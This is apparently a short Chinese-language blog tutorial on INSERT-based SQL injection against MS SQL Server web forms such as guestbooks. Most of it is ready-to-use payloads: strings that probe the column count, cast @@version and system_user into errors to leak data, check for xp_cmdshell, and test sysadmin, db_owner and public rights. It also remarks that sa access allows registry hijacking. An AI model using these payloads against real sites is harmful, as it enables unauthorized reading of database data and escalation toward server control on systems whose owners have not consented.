insert式注射攻击解析
当碰到一些特殊的站时可以试着用insert注入(如:留言版神马的..前提是必须与数据库交互)
首先我们先了解下insert的语法
insert into table (column_name_1,column_name_2,column_n) vlaues (value_1,value_2,value_n)
当value值数大于column时,数据库就会爆出错误
于是当我们在网页中提交
a’,null,null,null,null,null);– 如返回错误页面
a’,null,null,null,null,null,null);– 如返回正常页面(至于过滤单引号的问题就不在本文讨论范围内了)
说明当前表字段数为7(不知是我理解错了不).
a’,cast(@@version as int),null,null,null,null,null);–试着爆出数据库版本
–cast 将@@version的值以整型输出到页面
a’,cast(system_user as int),null,null,null,null,null);–当前登陆名
a’,null,null,null,null,null,null);(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = ‘xp_cmdshell’); –是否存在xp_cmdshell
查看权限
a’,null,null,null,null,null,null);(select IS_SRVROLEMEMBER(‘sysadmin’))=1; –sa ..如果爆出sa就爽了,可以劫持注册表神马的..
a’,null,null,null,null,null,null);(select IS_MEMBER(‘db_owner’))=1;–dbo ..可以backup或参考http://www.cnblogs.com/allyesno/archive/2007/07/29/835151.html
a’,null,null,null,null,null,null);(select IS_MEMBER(‘public’))=1;–public .这权限还真没成功过..